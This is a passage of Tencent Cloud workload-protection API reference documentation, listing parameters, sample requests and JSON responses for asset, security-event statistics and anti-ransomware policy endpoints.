4. Example

Example1 Querying a List of Asset Management Environment Variables

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetEnvList
<Common request parameters>

{
"Uuid": "xx",
"Limit": 1,
"Quuid": "xx",
```

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```
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Offset": 1,
"Type": 1
}
```


Output Example


```
{
"Response": {
"Envs": [
{
"FirstTime": "2024-10-18 14:27:56",
"IsNew": 0,
"MachineExtraInfo": {
"HostName": "hname",
"InstanceID": "ins-id",
"NetworkName": "vpc-id",
"NetworkType": 0,
"PrivateIP": "1.1.1.1",
"WanIP": "1.1.1.1"
},
"MachineIp": "1.1.1.1",
"MachineName": "Test machine for license sales",
"MachineWanIp": "1.1.1.1",
"Name": "ID",
"OsInfo": "CentOS 7.9 64 bit",
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Type": 0,
"UpdateTime": "2024-10-21 23:53:11",
"User": "root",
"Uuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"Value": "/run/user/0"
}
],
"RequestId": "1703764f-b3ea-4d7f-99cb-cc3a6a62e2ec",
"Total": 1
}
}
```


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5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeABTestConfig

Last updated：2024-12-06 15:40:44

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the current grayscale configuration of the user.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeABTestConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
ProjectName	No	String	Greyscale project name

3. Output Parameters

Parameter Name	Type	Description
Config	Array of	Grayscale project configuration

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	ABTestConfig	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the User's Current Grayscale Configuration

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeABTestConfig
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Config": [
{
"ProjectName": "yunjing_pro",
"Status": true
},
{
"ProjectName": "ban_switch",
"Status": true
},
{
"ProjectName": "v20200715",
"Status": true
}
],
"RequestId": "8fa9bf5e-a0dc-d89d-9ece-d68c2232a4c6"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeRiskBatchStatus

Last updated：2025-03-11 22:59:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query if the intrusion detection event update task is completed.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRiskBatchStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
RiskType	Yes	String	Operation event type. MALWARE: virus scanning; HOST_LOGIN: abnormal log-in; BRUTE_ATTACK: password cracking; MALICIOUS_REQUEST: malicious request; BASH_EVENT: high-risk command; PRIVILEGE_EVENT: local privilege escalation; REVERSE_SHELL: reverse shell.

3. Output Parameters

Parameter	Type	Description

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Name		
Status	String	Handling: deletion operation in progress Pending: no tasks are being executed
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Whether an Intrusion Detection Event Update Status Task Is Completed

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeRiskBatchStatus
&RiskType=MALWARE
&<common request parameters>
```

Output Example

```
{
"Response": {
"Status": "Handling",
"RequestId": "1703764f-b3ea-4d7f-99cb-cc3a6a62e2ec"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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ExportTasks

Last updated：2024-12-06 15:40:12

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export log files with large data volumes asynchronously.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportTasks.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	String	Task ID

3. Output Parameters

Parameter Name	Type	Description
Status	String	PENDING: download URL being generated; FINISHED: download URL generated; ERROR: network error or other errors.

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DownloadUrl	String	Download URL
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Tasks Asynchronously

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportTasks
&TaskId=c44c00fb-ab35-22e5-78e8-9a8a910d96f5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": "FINISHED",
"DownloadUrl": "http:DownloadUrl",
"RequestId": "f8bcfd50-3a9d-ac4c-ba95-6ed70252453e"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeGeneralStat

Last updated：2024-12-06 15:40:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics data of hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeGeneralStat.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
MachineType	No	String	CVM type • CVM: Indicates Tencent CVM. • BM: indicates Blackstone physical machine • ECM: indicates edge computing server • LH: indicates Tencent Cloud Lighthouse • Other: Indicates Hybrid cloud machines.
MachineRegion	No	String	Machine region. Example: ap-guangzhou, ap-shanghai

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3. Output Parameters

Parameter Name	Type	Description
MachinesAll	Integer	Total number of hosts
MachinesUninstalled	Integer	Total number of hosts not installed with the CWPP client
AgentsAll	Integer	Total number of CWPP clients
AgentsOnline	Integer	Total number of online CWPP clients
AgentsOffline	Integer	Total number of CWPP clients that are offline and shut down
AgentsPro	Integer	Total number of Pro Edition CWPP clients
AgentsBasic	Integer	Total number of Basic Edition CWPP clients
AgentsProExpireWithInSevenDays	Integer	Total number of prepaid Pro Edition CWPP clients that will expire in 7 days
RiskMachine	Integer	Total number of risky hosts
Shutdown	Integer	Total number of hosts that are shut down
Offline	Integer	Total number of offline hosts
FlagshipMachineCnt	Integer	Number of Ultimate Edition hosts Note: This field may return null, indicating that no valid values can be obtained.
ProtectDays	Integer	Protection duration, in days Note: This field may return null, indicating that no valid values can be obtained.
AddedOnTheFifteen	Integer	Number of hosts added in the last 15 days Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

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Example1 Example

This example shows you how to obtain statistics on CWPP.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeGeneralStat
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"MachinesAll": 87,
"MachinesUninstalled": 37,
"AgentsAll": 50,
"AgentsOnline": 7,
"AgentsOffline": 43,
"AgentsPro": 12,
"AgentsBasic": 38,
"AgentsProExpireWithInSevenDays": 1,
"RiskMachine": 0,
"Shutdown": 0,
"Offline": 0,
"ProtectDays": 1,
"FlagshipMachineCnt": 1,
"AddedOnTheFifteen": 1,
"RequestId": "cf25fc07-0e89-b71f-cb9a-c3fc030ccfd4"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeScreenGeneralStat

Last updated：2025-03-11 22:59:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the visualized statistics data of hosts on the screen.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeScreenGeneralStat.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Machines	Array of ScreenNameValue	Value of name: online, shutdown/offline, not installed Value: indicates the corresponding quantity

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Protection	Array of ScreenNameValue	Value of name: Ultimate Edition, Pro Edition, Basic Edition Value: indicates the corresponding number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Visualized Host-Related Statistics on the Large Screen

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeScreenGeneralStat
&<common request parameters>
```

Output Example


```
{
"Response": {
"Machines": [
{
"Name": "Online",
"Value": 57
},
{
"Name": "Offline",
"Value": 30
}
],
"Protection": [
{
"Name": "Ultimate Edition",
"Value": 82
},
{
"Name": "Pro Edition",
"Value": 0
}
],
"RequestId": "25d35d95-6e24-4161-f405-ae7a90afe569"
}
}
```


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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeVersionStatistics

Last updated：2024-12-06 15:40:16

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to count the number of machines of Professional and Basic editions.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVersionStatistics.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
BasicVersionNum	Integer	Number of Basic editions
ProVersionNum	Integer	Number of Professional editions

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UltimateVersionNum	Integer	Number of Ultimate editions
GeneralVersionNum	Integer	Number of General Discount Editions
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Malicious Request Record

This example shows you how to count the number of Pro Edition and Basic Edition machines.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeVersionStatistics
&<Common request parameters>
```

Output Example

```
{
"Response": {
"BasicVersionNum": 1,
"ProVersionNum": 1,
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"UltimateVersionNum": 1,
"GeneralVersionNum": 1
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeSafeInfo

Last updated：2024-12-06 15:40:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the .security notification information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSafeInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Querying Security Notifications

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSafeInfo
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.

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DescribeRansomDefenseMachineStrategyInfo

Last updated：2024-12-06 15:40:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of policies bound to a host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseMachineStrategyInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuids.N	Yes	Array of String	Host Quuid List

3. Output Parameters

Parameter	Type	Description

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Name		
StrategyIds	Array of Integer	List of Policy IDs. 0 indicates no policy is bound.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Policies Bound to Hosts

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseMachineStrategyInfo
<Common request parameters>

{
"Quuids": [
"xx"
]
}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"StrategyIds": [
1
]
}
}
```

5. Developer Resources

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SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeRansomDefenseState

Last updated：2024-12-06 15:40:30

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain user anti-ransomware trends.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseState.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
StrategyCount	Integer	Number of Activated Defense Policies
MachineCount	Integer	Number of Protected Machines

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SnapshotSize	Integer	Total snapshot capacity
RollBackTaskCount	Integer	Number of Backup Recovery Tasks
ProgressingSnapshotTaskCount	Integer	Number of Snapshot Creation Tasks in Progress
ProgressingRollBackTaskCount	Integer	Number of Backup Recovery Tasks in Progress
MachineTotal	Integer	Total Number of Machines
StrategyTotal	Integer	Total number of policies
BalanceStatus	Integer	Account Status. 0 - Without Overdue Payment; 1 - With Overdue Payment
BackupMachineCount	Integer	Number of Backed-Up Hosts
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining User Anti-Ransomware Trends

This example shows you how to obtain user anti-ransomware trends.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseState
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"MachineCount": 1,
"SnapshotSize": 1,
"ProgressingSnapshotTaskCount": 1,
```

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```
"RollBackTaskCount": 1,
"StrategyCount": 1,
"StrategyTotal": 1,
"MachineTotal": 1,
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237",
"BalanceStatus": 1,
"BackupMachineCount": 1,
"ProgressingRollBackTaskCount": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeRansomDefenseStrategyDetail

Last updated：2024-12-06 15:40:30

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the policy details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseStrategyDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Policy ID

3. Output Parameters

Parameter Name	Type	Description
Strategy	RansomDefenseStrategyDetail	Policy details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Policy Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseStrategyDetail
<Common request parameters>

{
"Id": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "c0d89f6e-021b-f1ba-d067-201da364e250",
"Strategy": {
"Id": 1,
"Uin": "100004506473",
"Name": "tt1",
"Description": "desc",
"Status": 1,
"IsAll": 0,
"IncludeDir": "/usr",
"ExcludeDir": "/bin",
"BackupType": 0,
"Weekday": "1;2;3;4;5",
"Hour": "00:00",
"SaveDay": 0,
"MachineCount": 1,
"CreateTime": "2024-04-17 23:19:43",
```

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```
"ModifyTime": "2024-10-17 20:10:00",
"EventCount": 0
}
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeRansomDefenseTrend

Last updated：2024-12-06 15:40:29

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the ransomware situation across the entire network.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeRansomDefenseTrend.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
EventCount	Integer	Number of Ransom Incidents
IndustryCount	Integer	Number of Affected Industries

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CompanyCount	Integer	Number of Companies with Ransom Protection
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtain Anti-Ransomware Situation Across the Network

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeRansomDefenseTrend
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"CompanyCount": 28,
"IndustryCount": 22,
"EventCount": 5,
"RequestId": "8c952399-b255-3711-1c3c-a5c8a6befbd8"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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DescribeSecurityEventStat

Last updated：2024-12-06 15:40:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics of security events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSecurityEventStat.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	This API has no filtering criteria.

3. Output Parameters

Parameter Name	Type	Description
MalwareStat	EventStat	Trojan event statistics

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HostLoginStat	EventStat	Statistics of cross-region log-in events
BruteAttackStat	EventStat	Statistics of brute force cracking events
MaliciousRequestStat	EventStat	Malicious request event statistics
PrivilegeStat	EventStat	Statistics of local privilege escalation events
ReverseShellStat	EventStat	Reverse shell event statistics
HighRiskBashStat	EventStat	Statistics of high-risk command events
AttackLogsStat	EventStat	Network attack event statistics
VulHighStat	EventStat	Statistics of high-risk vulnerability events
VulNormalStat	EventStat	Statistics of medium-risk vulnerability events
VulLowStat	EventStat	Statistics of low-risk vulnerability events
BaselineHighStat	EventStat	Statistics of high-risk baseline vulnerability events
BaselineNormalStat	EventStat	Statistics of medium-risk baseline vulnerability events
BaselineLowStat	EventStat	Statistics of low-risk baseline vulnerability events
MachineTotalAffectNum	Integer	Total number of machines with unfixed security events
InvasionTotalAffectNum	Integer	Total number of machines with unfixed intrusion security events
VulTotalAffectNum	Integer	Total number of machines with unfixed vulnerability security events
BaseLineTotalAffectNum	Integer	Total number of machines with unfixed baseline security events
CyberAttackTotalAffectNum	Integer	Total number of machines with unfixed network attack security events
VulRiskStat	EventStat	Critical vulnerability event statistics
BaselineRiskStat	EventStat	Statistics of critical baseline vulnerability events
VulStat	EventStat	Statistics on the number of vulnerabilities
Score	Integer	Security score
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other

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		reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Security Event Statistics Data

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSecurityEventStat
&<Common request parameters>
```

Output Example


```
{
"Response": {
"MachineTotalAffectNum": 28,
"InvasionTotalAffectNum": 22,
"VulTotalAffectNum": 5,
"BaseLineTotalAffectNum": 5,
"CyberAttackTotalAffectNum": 0,
"MalwareStat": {
"EventsNum": 352,
"MachineAffectNum": 9
},
"HostLoginStat": {
"EventsNum": 57,
"MachineAffectNum": 10
},
"BruteAttackStat": {
"EventsNum": 5,
"MachineAffectNum": 3
},
"MaliciousRequestStat": {
"EventsNum": 20,
"MachineAffectNum": 4
},
"PrivilegeStat": {
"EventsNum": 32,
"MachineAffectNum": 5
},
"ReverseShellStat": {
"EventsNum": 2,
"MachineAffectNum": 1
```


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```
},
"HighRiskBashStat": {
"EventsNum": 179,
"MachineAffectNum": 8
},
"AttackLogsStat": {
"EventsNum": 0,
"MachineAffectNum": 0
},
"VulRiskStat": {
"EventsNum": 3,
"MachineAffectNum": 2
},
"VulHighStat": {
"EventsNum": 18,
"MachineAffectNum": 5
},
"VulNormalStat": {
"EventsNum": 13,
"MachineAffectNum": 4
},
"VulLowStat": {
"EventsNum": 1,
"MachineAffectNum": 1
},
"BaselineRiskStat": {
"EventsNum": 0,
"MachineAffectNum": 0
},
"BaselineHighStat": {
"EventsNum": 107,
"MachineAffectNum": 5
},
"BaselineNormalStat": {
"EventsNum": 653,
"MachineAffectNum": 5
},
"BaselineLowStat": {
"EventsNum": 128,
"MachineAffectNum": 5
},
"VulStat": {
"EventsNum": 8,
"MachineAffectNum": 5
},
"Score": 20,
"RequestId": "8c952399-b255-3711-1c3c-a5c8a6befbd8"
```


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```
}
}
```

5. Developer Resources

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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ModifyRansomDefenseStrategyStatus

Last updated：2024-12-06 15:40:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to modify the anti-ransomware policy status in batches.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ModifyRansomDefenseStrategyStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
IsAll	Yes	Integer	Apply to all policies: 0 No, 1 Yes.
Status	Yes	Integer	0 for Off, 1 for On, 9 for Delete
IdList.N	No	Array of Integer	Policy ID List

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Batch Modify Anti-Ransomware Policy Status

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ModifyRansomDefenseStrategyStatus
<Common request parameters>

{
"Status": 1,
"IsAll": 1,
"IdList": [
1
]
}
```

Output Example

```
{
"Response": {
"RequestId": "935e27b1-d675-4509-80bf-96fbf0764237"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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RansomDefenseRollback

Last updated：2024-12-06 15:40:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to roll back anti-ransomware snapshots.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: RansomDefenseRollback.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BackupTime	Yes	String	Snapshot time
Quuid	No	String	Host QUUID
DiskInfo	No	String	Information about the hard disks that need to be rolled back. Hard disks are directly separated by semicolons (;); blanks are all disks that have been snapshot: disk-id1|disk-name1;disk-id2|disk-name2.

3. Output Parameters

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Parameter Name	Type	Description
